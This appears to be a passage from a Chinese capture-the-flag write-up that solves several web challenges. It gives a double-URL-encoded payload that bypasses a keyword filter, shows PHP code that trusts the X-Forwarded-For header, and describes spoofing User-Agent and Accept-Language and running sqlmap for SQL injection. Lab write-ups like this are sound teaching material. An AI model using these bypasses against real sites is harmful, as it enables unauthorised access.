eregi()函数在一个字符串搜索指定的模式的字符串。搜索不区分大小写。Eregi()可以特别有用的检查有效性字符串,如密码。
可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
返回值
如果匹配成功返回true,否则,则返回false
这个代码要绕过条件比较清晰,首先系统url解码以后不能出现hackerDJ,出现的话直接not allowed,然后后面经过再一次url解码以后要出现hackerDJ,所以直接url编码两次就行了,payload:%25%36%38%25%36%31%25%36%33%25%36%62%25%36%35%25%37%32%25%34%34%25%34%61
p36
二十四.这个看起来有点简单
这道题目就是一道数字型有逻辑回显的注入题目,pass。。。
二十五:貌似有点难
代码审计题,看源码
<?php
function GetIP(){
if(!empty($_SERVER["HTTP_CLIENT_IP"]))
$cip = $_SERVER["HTTP_CLIENT_IP"];
else if(!empty($_SERVER["HTTP_X_FORWARDED_FOR"]))
$cip = $_SERVER["HTTP_X_FORWARDED_FOR"];
else if(!empty($_SERVER["REMOTE_ADDR"]))
$cip = $_SERVER["REMOTE_ADDR"];
else
$cip = "0.0.0.0";
return $cip;
}
$GetIPs = GetIP();
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is *********";
}
else{
echo "错误!你的IP不在访问列表之内!";
}
?>
看了看代码,就是函数返回值必须是1.1.1.1
p37
直接改了x-forwarded-for字段就可以了。
二十六.头有点大
You don't have permission to access / on this server.
Make sure you are in the region of England and browsing this site with Internet Explorer
所以直接修改user-agent以及accept-lanuuage就行了
p38
所以直接在中user-agent加入.NET CLR 9.9 Accept-Language中语言改为英国的en-gb,首选en就行了。。。。
二十七.猫抓老鼠
这道题把返回包的content-row发送出去就行了
p39
二十八.看起来有点难
这道题目就是一道普通SQL注入,直接放sqlmap就行了。。。。
网友评论